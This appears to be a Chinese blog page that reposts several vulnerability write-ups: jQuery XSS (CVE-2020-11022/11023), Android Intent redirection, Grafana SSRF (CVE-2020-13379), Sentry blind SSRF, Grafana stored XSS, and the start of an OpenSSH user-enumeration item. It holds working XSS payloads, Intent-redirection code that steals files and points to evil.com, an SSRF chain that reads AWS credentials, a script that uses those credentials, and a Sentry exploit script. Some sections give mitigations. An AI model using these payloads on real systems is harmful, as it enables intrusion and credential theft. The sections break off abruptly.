- Reprint -

jQuery最新xss漏洞分析——CVE-2020-11022/11023

jQuery最新xss漏洞分析——CVE-2020-11022/11023

本文转自Jayway 并作补充

背景

jQuery官方上周发布了最新版本3.5.0，主要修复了两个安全问题，官方博客为：

1
https://blog.jquery.com/2020/04/10/jquery-3-5-0-released/

据NVD描述：在大于或等于1.2且在3.5.0之前的jQuery版本中，即使执行了消毒（sanitize）处理，也仍会执行将来自不受信任来源的HTML传递给jQuery的DOM操作方法（即html()、.append()等），从而导致xss漏洞。

image

二、前置知识

在讲解漏洞之前，需要了解jQuery的基本用法和历史漏洞，具体可参考：jQuery框架漏洞全总结及开发建议：

1
https://mp.weixin.qq.com/s/M1BYj6VbeoNV4C5M7cR_hA

而与此次jQuery漏洞联系比较紧密的是html()等方法，此方法返回或设置被选元素的内容 (inner HTML)，可用于设置所有选定元素的内容，看一个简单的使用案例：

image

此处定义一个点击事件，会对所有的p元素进行匹配，并修改为相同的内容。

三、漏洞复现

对于此漏洞原作者搭建了在线环境，内置了三个xss poc，点击Append via .html()按钮即可触发xss：

1
https://vulnerabledoma.in/jquery_htmlPrefilter_xss.html

image

审查源码，逻辑很简单：

image

首先使用如下代码模拟了一个开发场景，即将页面的所有div元素替换为根据ID取到的sanitizedHTML：

1
2
3
4
5
6
7
8
9
10
<script>
function test(n,jq){
   sanitizedHTML = document.getElementById('poc'+n).innerHTML;
   if(jq){
       $('#div').html(sanitizedHTML);
   }else{
       div.innerHTML=sanitizedHTML;
    }
}
</script>

虽然三个poc都使用了包含onerror事件的img标签，但其实它们是放在属性或style元素内部，因此会绕过HTML清理器。

以poc1为例，根据此id取到的值如下：

1
<style><style /><img src=xonerror=alert(1)>

点击之后，执行xss，此时审查div元素：

image

发现我们提交的poc多了一个闭合标签，变成了:

1
<style><style /></style><imgsrc=x onerror=alert(1)>

闭合了

Android App安全之Intent重定向详解

Android App安全之Intent重定向详解

本文转自OPPO安珀实验室 并作补充

未导出组件和非导出组件

导出组件(公有组件)

导出组件一般有以下三种形式：

1
2
3
4
5
1.在AndroidManifest.xml中的组件如果显式设置了组件属性android:exported值为true;

2.如果组件没有显式设置android:exported为false，但是其intent-filter以及action存在，则也为导出组件;

3.API Level在17以下的所有App的provider组件的android:exported属性默认值为true，17及以上默认值为false。

任意第三方App都可以访问导出组件。

未导出组件(专用组件)

1.在AndroidManifest.xml中注册的组件显式设置android:exported=”false” ;

1
<activity android:name=".WebViewActivity" android:exported="false" />

2.组件没有intent-filter, 且没有显式设置android:exported的属性值，默认为非导出的;

1
<activity android:name=".WebViewActivity" />

3.组件虽然配置了intent-filter,，但是显式设置android:exported=”false”。

1
2
3
4
5
6
7
<activity android:name =".WebViewActivity" android:exported="false" >
    <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <data android:scheme="victim" android:host="secure_handler" />
    </intent-filter>
</activity>

这三种组件称为专有组件或者未导出组件，三方应用无法直接调用这种组件。例如WebViewActivity中有以下代码：

1
2
3
4
5
6
7
protected void onCreate(Bundle savedInstanceState) {
   super.onCreate(savedInstanceState);
  // ... 
   Intent intent = getIntent();
   String Url = intent.getStringExtra("url");
   // ... 
   webView.loadUrl(Url);

第三方应用直接访问上述未导出的WebViewActivity组件来加载url，

1
2
3
4
intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ui.WebViewActivity");
intent.putExtra("url", "http://evil.com/");
startActivity(intent);

系统将会抛出java.lang.SecurityException, due to Permission Denial: WebViewActivity not exported from uid xxx.

Intent重定向

那么如果三方APP要想访问上述非导出的WebViewActivity是不是就没有办法了呢？

当然不是! 其中一种常见的方式即为在本文中介绍Intent重定向， 即将Intent类的对象作为Intent 的Extras通过一个导出组件传递给非导出的组件, 以此来实现访问非导出的WebViewActivity组件。

原理在于，Android 组件之间传输的Intent类是实现了Parcelable的。

1
public class Intent implements Parcelable, Cloneable {

因此可以将属于Intent类的对象作为Intent的 extra数据对象传递到另一个组件中，相当于在Intent中嵌入Intent。

这时，如果App从不可信 Intent 的Extras字段中提取出嵌入的 Intent，然后对这个嵌入 Intent 调用 startActivity（或类似的 startService 和 sendBroadcast），这样做是很危险的； 因为攻击者原本是无法访问非导出的组件的，但是通过intent重定向，即以导出的组件作为桥即可以访问非exported的组件，达到launch anywhere或者broadcast anywhere的目的。

其原理如下图所示:

image

Intent重定向违反了Android的安全设计，导致Android的安全访问限制（App的沙箱机制）失效。

Intent重定向可能导致以下安全问题：

1
2
3
1.启动非导出组件，通过精心构造的可控的Intent参数来执行敏感操作，如果可以重写或者替换native 库，甚至还会导致任意代码执行；

2.可以获取非导出的content provider组件的content：// URI的访问权限来窃取敏感文件.

接下来我们分别举三个例子来说明:

启动非导出组件

我们继续以上述的未导出的WebViewActivity为例子， 查找在App中是否存在导出Activity中包含了Intent重定向漏洞。刚好存在一个导出的com.victim.ui.HomeActivity组件符合预期。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
protected void onResume() { 
   // ...  
   handleIntentExtras(getIntent()); 
   // 攻击者可以从外部输入任意intent
 }   
 private void handleIntentExtras(Intent intent) { 
    // ... 
    Intent deeplinkIntent = (Intent)intent.getParcelableExtra("extra_deep_link_intent"); 
    // ... 
    if (!(deeplinkIntent == null || this.consumedDeeplinkIntent)) { 
    / / ... 
        startActivity(deeplinkIntent); // 危险! 打开攻击者发送的Intent
     // ... 
  } 
 // ... 
 }

攻击者可以实现通过这个导出的HomeActivity访问任何受保护的未导出的Activity; 我们可以编写一个攻击App，将发向HomeActivity的Intent重定向到未导出的组件WebViewActivity中，让WebViewActivity的WebView加载攻击者的恶意链接，从而达到绕过Android的权限限制的目的。

1
2
3
4
5
6
7
8
Intent next = new Intent(); 
next.setClassName("com.victim", "com.victim.ui.WebViewActivity"); 
next.putExtra("extra_url", "http://evail.com"); // 加载攻击者的钓鱼网站
next.putExtra("extra_title", "test"); 

Intent intent = new Intent(); 
intent .setClassName("com.victim", "com.victim.ui.HomeActivity"); intent .putExtra("extra_deep_link_intent", next); // 嵌入Intent
startActivity(intent);

越权访问content provider

除了可以访问任意组件之外，攻击者还可以访问满足以下条件的APP的Content Provider的组件：

1
2
3
1.该组件必须是非导出的（否则可以直接攻击，无需使用我们在本文中讨论的模型）

2.组件还设置了android：grantUriPermissions为true。

同时，攻击者在实现攻击时，必须将自己设置为嵌入Intent的接收者，并设置以下标志：

1
2
3
4
5
6
7
1).Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION允许对提供者的持久访问（没有此标志，则访问仅为一次）

2).Intent.FLAG_GRANT_PREFIX_URI_PERMISSION允许通过前缀进行URI访问。

3).Intent.FLAG_GRANT_READ_URI_PERMISSION允许对提供程序进行读取操作（例如query，openFile，openAssetFile）

4).Intent.FLAG_GRANT_WRITE_URI_PERMISSION允许写操作

比如在App中有一个非导出的file provider, 该provider在其私有目录的database路径下保存了secret.db文件，该文件中保存了用户的登录账号信息。

该file provider的设置如下：

1
2
<provider android:name="androidx.core.content.FileProvider" android:exported="false" android:authorities="com.android.victim" android:grantUriPermissions="true">
    <meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/provider_paths"/></provider>

为了简便起见，APP的资源文件res/xml/provider_paths文件的配置为

1
2
3
<paths>
    <root-path name="root" path="/"/>
</paths>

我们无法直接访问file provider， 但是可以通过Intent重定向来窃取secret.db文件。

payload如下:

1
2
3
4
5
6
7
8
9
10
Intent next= new Intent();
next.setClassName(getPackageName(), "com.Attacker.AttackerActivity"); 
// 设置为攻击者自己的组件
next.setData(Uri.parse("content://com.victim.localfile/secret.db")); 
next.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION |   Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION  | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION); 
// 添加所有可以访问content provider的读写flag

Intent intent = new Intent();
intent.setClassName("com.victim.localfile", "com.victim.localfile.LoginActivity"); intent.putExtra("com.victim.extra.NEXT_INTENT", next); 
startActivity(intent);

通过WebView访问任意组件

通常我们可以通过调用Intent.toUri（flags）方法将Intent对象转换为字符串，同时可以使用Intent.parseUri（stringUri，flags）将字符串从字符串转换回Intent。此功能通常在WebView（APP内置浏览器）中使用。APP可以解析intent:// 这种类型的scheme，将URL字符串解析为Intent对象并启动相关的Activity。

漏洞代码示例:

1
2
3
4
5
6
7
8
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
    Uri uri = request.getUrl();
if("intent".equals(uri.getScheme())) {
        startActivity(Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME));
        return true;
    }
return super.shouldOverrideUrlLoading(view, request);
}

要利用此漏洞，攻击者可以通过Intent.Uri方法创建一个WebView重定向Intent 的url，然后让WebViewActivity去加载该Url，由于在shouldOverrideUrlLoading方法中没有做完整的校验，会存在Intent重定向漏洞。

1
2
3
4
5
6
7
8
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.WebViewActivity");i
ntent.putExtra("url", "http://evil.com/");
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); 
//"intent:#Intent;component=com.victim/.WebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end"

// 攻击代码
location.href = "intent;component=com.victim/.WebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end";

查看此类漏洞的方法

如何在App中快速的找到此类漏洞呢？我们可以从以下三个方面入手:

1.在App中查找导出组件，并且检查该组件是否接收从外部输入的Intent对象。

2.在上述组件中查找对startActivity（或 startService 和 sendBroadcast）的调用，并验证其Intent组件是否是从受信任的数据对象来构造的。

3.查找Intent 的 getExtras方法的调用，是否有将该方法的返回值强制转换为Intent；并在使用这种嵌入的Intent之前进行了完整的校验。

漏洞缓解方法

那么，如何缓解Intent重定向漏洞呢 ？

方法1：将受影响的应用组件设为专用组件。

如果受影响的应用组件不需要接收来自其他应用的 Intent，可以将此应用组件设为专用组件，只需在清单中设置 android:exported=“false” 即可。

方法2：确保提取的Intent来自可信的来源。

可以使用 getCallingActivity 等方法来验证源 Activity 是否可信。

例如：

1
2
3
4
5
6
7
8
// 检查源 Activity 是否来自可信的包名
 if (getCallingActivity().getPackageName().equals(“known”)) {
   Intent intent = getIntent();
   // 提取嵌套的 Intent
   Intent forward = (Intent) intent.getParcelableExtra(“key”);
   // 重定向嵌套的 Intent
   startActivity(forward ) ;
 }

注意：检查 getCallingActivity() 是否返回非null值并不足以防范此漏洞。恶意App可以为此函数提供 null 值，最好加上APP的签名校验。

方法3：确保要重定向的Intent是无害的。

需要先验证重定向的Intent，确保该 Intent

1.不会被发送到APP的任何专用组件

2.不会被发送到外部应用的组件。如果重定向的目标是外部应用，请确保该 Intent 不会向APP的私有content provider授予URI权限。

在重定向 Intent 之前，应用可以先使用resolveActivity等方法检查将使用哪个组件来处理该 Intent。

例如：

1
2
3
4
5
6
7
8
9
10
11
Intent intent = getIntent();
 // 提取嵌套的 Intent
 Intent forward = (Intent) intent.getParcelableExtra(“key”);
 // 获取组件名称
 ComponentName name = forward.resolveActivity(getPackageManager());
 // 检查软件包名称和类名称是否符合预期
 if (name.getPackageName().equals(“safe_package”) &&
     name.getClassName().equals(“safe_class”)) {
   // 重定向嵌套的 Intent
   startActivity(forward);
 }

App可以使用getFlags等方法来检查 Intent 是否会授予 URI 权限。应用还可以使用removeFlags撤消 URI 权限的授予。

例如：

1
2
3
4
5
6
7
8
9
10
// 提取嵌套的 Intent
 Intent forward = (Intent) intent.getParcelableExtra(“key”);
 // 获取标记
 int flags = forward.getFlags();
 // 检查嵌套的 Intent 不能授予 URI 读写权限
 if (( flags & Intent.FLAG_GRANT_READ_URI_PERMISSION == 0) &&
     (flags & Intent.FLAG_GRANT_WRITE_URI_PERMISSION == 0)) {
    / / 重定向嵌套的 Intent
       startActivity(forward);
 }

参考

[1] Intent Redirection Vulnerability https://support.google.com/faqs/answer/9267555?hl=en

[2] #272044 Android - Access of some not exported content providershttps://hackerone.com/reports/272044[3] #200427 Access of Android protected components via embedded intenthttps://hackerone.com/reports/200427[4] Intent.toUrihttps://developer.android.com/reference/android/content/Intent#toURI()

挖洞经验 | Grafana应用实例未授权读取型SSRF（CVE-2020-13379）

挖洞经验 | Grafana应用实例未授权读取型SSRF（CVE-2020-13379）

本文转自clouds 并作补充

近期，我在做Grafana公司的安全众测，通过研究我发现综合利用重定向跳转和URL参数注入漏洞，可以在Grafana产品任意实例中实现未授权的服务端请求伪造攻击（SSRF），漏洞影响版本为3.0.1至7.0.1的大范围Grafana产品，相关情况上报后被分配了CVE-2020-13379的漏洞编号。（漏洞PDF技术细节点此下载）

漏洞发现过程

在Grafana名为api.go的开源文件中，位于其第423行有这么一行代码：

r.Get("/avatar/:hash", avatarCacheServer.Handler)

为了加载用户上传保存于gravatar上的头像图片，该行代码读取**/avatar/:hash中的哈希值（如https://www.gravatar.com/avatar/205e460b479e2e5b48aec07710c08d50/.....**），并把它传递给域名为**secure.grafana.com**的相关路径。这里，大致的代码逻辑如下：

1
2
3
4
5
const (
 gravatarSource = "https://secure.gravatar.com/avatar/"
)
...
case err = <-thunder.GoFetch(gravatarSource+this.hash+"?"+this.reqParams, this):

上述代码逻辑中的this.hash也就是前述**/avatar/:hash经URL编码传递过来的hash，实际上这个被URL编码过的:hash串中，允许我们插入其它参数从而形成URL参数注入。在secure.gravatar.com域名路径下，如果向其中插入参数d，即https://secure.gravatar.com/avatar/205e460b479e2e5b48aec07710c08d50?d=....**，之后，就会发生跳转到另一个图片存储服务**i0.wp.com**的情况，这是后续跳转利用链中的第一个跳转问题。

所以，我们还需要从i0.wp.com继续构造跳转，好在最后，由于主机验证机制中一个不当的正则表达式应用，我们成功形成了跳转。过程是这样的：

i0.wp.com中的URL链接构造为**i0.wp.com/{domainOfImage}/{pathOfImage}*，该URL链接的目的在于，i0.wp.com依托.bp.blogspot.com域名存储了自身的一部份图片，因此，i0.wp.com还会继续形成对.bp.blogspot.com的跳转。后经我花费了几个小时的测试，发现利用以下链接可在该跳转中形成一个开放重定向跳转：

http://i0.wp.com/google.com?;/1.bp.blogspot.com/

最终，综合两个跳转，可以在Grafana后台形成以下跳转链接：

https://grafanaHost/avatar/test?d=google.com%3f;/bp.blogspot.com

在以上链接中，Grafana后台会获取test?d=google.com%3f;/bp.blogspot.com作为**:hash**值。

回到前述的d参数场景中，在以下链接中加入d参数：

https://secure.gravatar.com/avatar/anything?d=google.com%3f;/1.bp.blogspot.com/

该请求会发生一个到i0.wp.com的跳转，成为：

http://i0.wp.com/google.com%3f%;/1.bp.blogspot.com/

然后，i0.wp.com会继续发生指向google.com的跳转，成为：

https://google.com?;/1.bp.blogspot.com

在用户头像avatar的源码文件中可以看到，其中具备内容类型属性信息Content-Type: image/jpeg，以及请求后的相关响应机制：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
...
if avatar.Expired() {
 // The cache item is either expired or newly created, update it from the server
 if err := avatar.Update(); err != nil {
  log.Trace("avatar update error: %v", err)
  avatar = this.notFound
 }
}

if avatar.notFound {
 avatar = this.notFound
} else if !exists {
 if err := this.cache.Add(hash, avatar, gocache.DefaultExpiration); err != nil {
  log.Trace("Error adding avatar to cache: %s", err)
 }
}

ctx.Resp.Header().Add("Content-Type", "image/jpeg")

if !setting.EnableGzip {
 ctx.Resp.Header().Add("Content-Length", strconv.Itoa(len(avatar.data.Bytes())))
}

ctx.Resp.Header().Add("Cache-Control", "private, max-age=3600")

if err := avatar.Encode(ctx.Resp); err != nil {
 log.Warn("avatar encode error: %v", err)
 ctx.WriteHeader(500)
}

因此，综上所述的各种技术利用点，可以构造出以下成功的SSRF运行链接，让Grafana后台服务器发起对YOURHOSTHERE的请求。

https://grafanaHost/avatar/test?d=redirect.rhynorater.com?;/bp.blogspot.com/YOURHOSTHERE

该漏洞影响的不仅只是Grafana的产品实例，而且其在Gitlab（/-/grafana）和SourceTree（/-/debug/grafana/）上的源码实例也受影响。

漏洞利用

正如我在HackerOne的HacktivityCon会上所说的, 该漏洞有多个有意思的利用点。接下来，我就来分享一下具体的漏洞利用方式。

漏洞利用1-对Grafana项目云实例元数据API的操控访问（Manipulate AWS/Cloud Metadata APIs）

现代SSRF漏洞的一种流行利用就是用它去执行对目标系统云上元数据API接口的访问，以从中获得相关敏感信息。元数据API接口大多都是AWS的云形式，我们可以设法从中获取到Grafana项目EC2实例中的用户身份验证授权凭证（IAM），然后以此横向渗透到组织机构内网。迄今为止，攻击者已经利用此种SSRF利用方法渗透入侵，导致了一些大规模的数据泄露事件。

作为攻击者来说，主要关心的就是尝试从公开的AWS元数据服务器（169.254.169.254）中，用以下访问链接获取用户IAM凭证：

http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE（实例项目名称）

成功获取的用户IAM凭证内容如下：

1
2
3
4
5
6
7
8
9
{
  "Code" : "Success",
  "LastUpdated" : "2019-08-15T18:13:44Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIAN0P3n0W4y1nv4L1d",
  "SecretAccessKey" : "A5tGuw2QXjmqu8cTEu1zs0Dw8yt905HDCzrF0AdE",
  "Token" : "AgoJb3JpZ2luX2VjEJv//////////wEaCXVzLWVhc3QtMSJHMEUCIEX46oh4kz6AtBiTfvoHGqfVuHJI29ryAZy/wXyR51SAiEA04Pyw9HSwSIRNx6vmYpqm7sD+DkLQiFzajuwI2aLEp4q8gMIMxABGgwzNjY4OTY1NTU5NDkiDOBEJDdUKxKUkgkhGyrPA7u8oSds5hcIM0EeoHvgxvCX/ChiDsuCEFO1ctMpOgaQuunsvKLzuaTp/86V96iZzuoPLnpHHsmIUTrCcwwGqFzyaqvJpsFWdv89YIhARAMlcQ1Cc9Cs4pTBSYc/BvbEFb1z0xWqPlBNVKLMzm2K5409f/KCK/eJsxp530Zt7a1MEBp/rvceyiA5gg+6hOu65Um+4BNT+CjlEk3gwL6JUUWr9a2LKYxmyR4fc7XtLD2zB0jwdnG+EPv7aDPj7EoWMUoR/dOQav/oSHi7bl6+kT+koKzwhU/Q286qsk0kXMfG/U95TdUr70I3b/L/dhyaudpLENSU7uvPFi8qGVGpnCuZCvGL2JVSnzf8327jyuiTF7GvXlvUTh8bjxnZ8pAhqyyuxEW1tosL2NuqRHmlCCfnE3wLXJ0yBUr7uxMHTfL1gueEWghymIGhAxiYIKA9PPiHCDrn4gl5AGmLyzqxenZgcNnuwMjeTnhQ0mVf7L8PR4ZWRo9h3C1wMbYnYNi5rdfQcByMIN/XoR2J74sBPor/aObMMHVnmpNjbtRgKh0Vpi48VgXhXfuCAHka3rbYeOBYC8z8nUWYJKuxv3Nj0cQxXDnYT6LPPXmtHgZaBSUwxMHW6gU6tAHi8OEjskLZG81wLq1DiLbdPJilNrv5RPn3bBF+QkkB+URAQ8NBZA/z8mNnDfvESS44fMGFsfTIvIdANcihZQLo6VYvECV8Vw/QaLP/GbljKPwztRC5HSPe6WrC06LZS9yeTpVGZ6jFIn1O/01hJOgEwsK7+DDwcXtE5qtOynmOJiY/iUjcz79LWh184My58ueCNxJuzIM9Tbn0sH3l1eBxECTihDNbL13v5g+8ENaih+f3rNU=",
  "Expiration" : "2019-08-16T00:33:31Z"
}

有了这个IAM凭证，我们就能通过用户身份验证这一关，以内部用户身份执行对EC2实例和S3存储桶的任意访问。如果要用IAM来执行深入的用户验证测试危害证明，我推荐使用NCCGroup安全团队的Scout2工具，不过由于它会产生大量的请求响应，而且会引发一系列的密钥轮换数据，有点太过于Noisy了。这里我还是用以下标准输入的脚本方式来利用上述IAM凭证吧：

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/bash

out=$(cat -)
export AWS_ACCESS_KEY_ID=$(echo $out | jq .AccessKeyId | sed 's/"//g' )
export AWS_SECRET_ACCESS_KEY=$(echo $out | jq .SecretAccessKey | sed 's/"//g')
export AWS_DEFAULT_REGION=us-east-1
export AWS_SESSION_TOKEN=$(echo $out | jq .Token | sed 's/"//g')
echo "Profile loaded!"
aws sts get-caller-identity
aws ec2 describe-instances > ec2Instances.txt
echo "EC2 Instances outputted to \"ec2Instances.txt\"!"
aws s3api list-buckets > s3Buckets.txt
echo "S3 Buckets outputted to \"s3Buckets.txt\"!"

通过AWS公开的元数据服务器访问链接http://169.254.169.254/latest/user-data，我们可以从中获取到目标实例相关的很多敏感信息，虽然[AWS文档](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-add-user-data.html)一再声称不要在该实例位置存储凭证信息，但以经验来看，之前我还是从中发现获取了大量K8S Secrets、IAM Credentials、SSL Certificates、GitHub Credentials等密钥数据。
另外，我们还能从另外一个AWS路径中获取有用信息：

http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance

漏洞利用2-图片渲染过程导致的Blind SSRF

Grafana实例内部会发生大量的图片渲染过程，因此攻击者可以向其中以Headless Chrome实例方式（非Chrome环境中运行Chrome），构造包含超时变量的HTML页面，以此为据点，实施长期的内网RCE攻击尝试。

同样，我们利用CVE-2020-13379的SSRF漏洞，还能执行内网端口扫描探测，比如，在Grafana的通用实例中会有一个3001端口，用该SSRF方法可以成功探测到：

1
2
3
4
5
6
7
8
9
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 22
ETag: W/"16-NipK4Bud1bhsozqKdmj9bWnwGTg"
Date: Wed, 29 Jul 2020 11:21:31 GMT
Connection: keep-alive

Grafana Image Renderer

基于此，攻击者可以精心构造，让Grafana实例系统通过以下链接执行危险操作：

localhost:3001/render?url=http://yourhost&domain=a&renderKey=a&timeout=30

这里，我编写了以下HTML文件进行一个自动化快速的漏洞利用，用它可以进行RCE提权攻击。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<script>
async function postData(url = '', data = {}) {
  const response = await fetch(url, {
    method: 'POST',
    mode: 'no-cors',
    headers: {
      'Content-Type': 'application/json'
    },
    body: JSON.stringify(data)
  });
  return response.json();
}
for (var i = 0; i < 255; i++){
    postData('http://10.0.0.'+i+'/oneshotrce', { cmd: 'dig dnscallback.com' })
}               
</script>

漏洞利用3-操控Gitlab的 Prometheus Redis导出器

Prometheus 是一个开源的服务监控系统和时间序列数据库。之前我们已经提到过，该漏洞还会对版本<13.1.1的Grafana Gitlab实例产生影响。根据Gitlab说明文档介绍，Grafana Gitlab实例 9.0版本开始，其Prometheus和导出器（Exporter）都是默认开启的，恰巧这些导出器可以成为攻击者利用CVE-2020-13379的突破口，其中一个导出器即是Redis Exporter，其路径为**http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=\***，攻击者利用target参数构造，通过该路径可以下载redis服务器中的所有密钥信息。

漏洞利用4- Image-Only SSRF -> Full-Read SSRF

在Grafana**开源文件avatar.go的第104行**中，其对该SSRF响应内容类型（Content Type）为image/jpeg，这就给了我们基于该SSRF漏洞，综合利用其它漏洞的独特机会。假设我们有以下场景：example.com/fetchImage.php?image=http://localhost/image.png

其fetchImage.php中的代码向请求目标发送了一个HTTP请求，然后会检查其内容类型（Content Type）是否为image/jpeg，如果是就返回请求内容。因此，如果某个内部Grafana实例存在我们这里的CVE-2020-13379漏洞，那么攻击者可以构造以下链接形成一个内容读取型的SSRF漏洞攻击：example.com/fetchImage.php?image=http://internalgrafana/avatar/.../169.254.169.254

由于返回内容需要是image/jpeg，因此它会执行一个content-type验证。另外，因为这是一个图像方式SSRF触发的读取型SSRF，而且攻击者可以控制其中的链接跳转，所以，攻击者还可把它用于文件扩展名检查欺骗。

总结

该漏洞发现其实并不复杂，有意思的是Grafana内部HTTP请求发生时，读取 :hash时的参数注入问题，但无论如何，其漏洞影响非常严重，且其漏洞利用非常稳定有效。以下是我的几点心得：

1、在源码检查时，首先去考虑未授权路径，其次是授权绕过；

2、如果在开源应用中发现了某些有意思的功能，那相对于“黑盒测试”来说，可以针对该功能花心思测试测试，至少你能以开源方式获取更多数据，并能把你的“漏洞嗅觉”派上用场；

3、针对0-day漏洞的挖掘可能会激发你的动力；

4、有些公司不会为他们的0-day漏洞买单，

5、自己发现漏洞后，可以和值得依赖的朋友分享，让他们也帮助看看是否能进行更深入的漏洞利用；

6、这是我的一个漏洞报告模板工具，欢迎参考-https://github.com/rhynorater/reports

参考来源

rhynorater

Sentry SSRF

Sentry SSRF

本文转自Mysticbinary 并作补充

What is Sentry

Sentry 是一个实时的事件日志和聚合平台，基于 Django 构建。一般在url上、或者logo上看到有sentry都可以用它的exp试试，原理是由于sentry默认开启source code scrapping ，导致可以从外部进行blind ssrf请求。

exp testing

1
2
3
(python3) ➜  sentrySSRF git:(master) python sentrySSRF.py -i http://【your target url】 -d
Found Sentry: https://ef00ffc3xxxxxe5b60afff8c138c77e@【your target url】/1
Enter your burpcollaborator address:【your dnslog】

然后去你到dnslog看看有没有请求记录即可。

exp源码参考：
配置如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
import re

if __name__ == "__main__":
    s = "https://a8d729459beb446eb3cbb9df997dcc7b@sentry.mindworks.xyz/1"
    collaborator = "dp6sk5k006h6dcq3bdu6e6a9t0zqnf.burpcollaborator.net"
    key = re.search('https://(.*)@', s)
    domain = re.search('@(.*)/', s)
    number = re.search('/(.*)', s[8:])
    url = "https://" + domain.group(1) + "/api/" + number.group(1) + "/store/?sentry_key=" + key.group(1) + "&sentry_version=7"
    print(url)
    datas = {"extra":{"component":"redux/actions/index","action":"RegisterDeviceWeb","serialized":{"code":"INVALID_CREDENTIALS","details":[]}},"fingerprint":["3cbf661c7f723b0a5816c16968fd9493","Non-Error exception captured with keys: code, details, message"],"message":"Non-Error exception captured with keys: code, details, message","stacktrace":{"frames":[{"colno":218121,"filename":"http://"+collaborator,"function":"?","lineno":1}]},"exception":{"values":[{"value":"Custom Object","type":"Error"}]},"event_id":"d0513ec5a3544e05aef0d1c7c5b24bae","platform":"javascript","sdk":{"name":"sentry.javascript.browser","packages":[{"name":"npm:@sentry/browser","version":"4.6.4"}],"version":"4.6.4"},"release":"6225dd99","user":{"phash":"996a3f4661e02cb505ae0daf406555e9b914f9d43d635c52cfc7485046862a7f"},"breadcrumbs":[{"timestamp":1554226659.455,"category":"navigation","data":{"from":"/","to":"/login"}}]}
    headers = {'Content-type': 'application/json', 'Origin':'https://z.tochka.com/'}
    rsp = requests.post(url, json=datas, headers=headers)

To Build blind http pack

1
2
3
4
5
6
7
8
9
10
11
POST /api/1/store/?sentry_version=7&sentry_client=raven-js%2f3.15.0&sentry_key=【your key】 HTTP/1.1
Host: 【your target url】.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Language: zh-CN,zh;q=0.9
Content-type: application/json
Origin:【随意domain】
Content-Length: 329

{"project":"30","logger":"javascript","platform":"javascript","exception":{"values":[{"type":"Error","value":"Trying to get control scope but angular isn't ready yet or something like this","stacktrace":{"frames":[{"filename":"http://【your dnslog】","lineno":110,"colno":81071,"function":"XMLHttpRequest.o","in_app":true}]}}]}}

image

sentry_version = 红线2 （报错可以手动修改几个其他版本试试）
sentry_key = Raven.config 红线1
origin = 可以随便写

Repair

1、sentry关闭 source code scrapping；
2、保证配置文件中的黑名单不为空：/sentry/conf/server.py

Reference

https://hackerone.com/reports/374737
https://github.com/xawdxawdx/sentrySSRF

Grafana 存储型XSS漏洞（CVE-2020-11110）

Grafana 存储型XSS漏洞（CVE-2020-11110）

本文转自starnight_cyber 并作补充

Preface

Grafana是一个跨平台、开源的数据可视化网络应用程序平台。用户配置连接的数据源之后，Grafana可以在网络浏览器里显示数据图表和警告。Grafana 存在未授权任意文件读取漏洞，攻击者在未经身份验证的情况下可通过该漏洞读取主机上的任意文件。

1
2
3
4
5
6
CVE编号：
    CVE-2020-11110
影响范围：
    Grafana v6.2.5
Links
    https://ctf-writeup.revers3c.com/challenges/web/CVE-2020-11110/index.html

复现记录

测试环境部署

1
2
payload => 
{"dashboard":{"annotations":{"list":[{"name":"Annotations & Alerts","enable":true,"iconColor":"rgba(0, 211, 255, 1)","type":"dashboard","builtIn":1,"hide":true}]},"editable":true,"gnetId":null,"graphTooltip":0,"id":null,"links":[],"panels":[],"schemaVersion":18,"snapshot":{"originalUrl":"javascript:alert('Revers3c')","timestamp":"2020-03-30T01:24:44.529Z"},"style":"dark","tags":[],"templating":{"list":[]},"time":{"from":null,"to":"2020-03-30T01:24:53.549Z","raw":{"from":"6h","to":"now"}},"timepicker":{"refresh_intervals":["5s","10s","30s","1m","5m","15m","30m","1h","2h","1d"],"time_options":["5m","15m","1h","6h","12h","24h","2d","7d","30d"]},"timezone":"","title":"Dashboard","uid":null,"version":0},"name":"Dashboard","expires":0}

image

Stored-XSS

替换 url 中的 localhost，访问快照地址，点击链接🔗图标。 Stored-XSS。

image

snapshot 快照删除

访问 deleteUrl：

http://103.210.xx.xx:3000/api/snapshots-delete/o3ITlrkiwgJexFmCJxr4gsNZ8QDcc0eQ

image

可以删除 snapshot，这里算是个严重程度更高的漏洞。

修复方案

版本升级。

Refer

https://ctf-writeup.revers3c.com/challenges/web/CVE-2020-11110/index.html

以上！

OpenSSH用户名枚举及其检测方法（CVE-2018-15473）

OpenSSH用户名枚举及其检测方法（CVE-2018-15473）

本文转自testerzhang 并作补充

OpenSSH 7.7前在接收到畸形的认证请求包时，会根据用户名的存在与否给出不同的响应，由此导致通过SSH服务枚举服务器的用户名。

ssh-check-username.py 使用说明

  • 安装依赖包 pip install paramiko==2.0.8
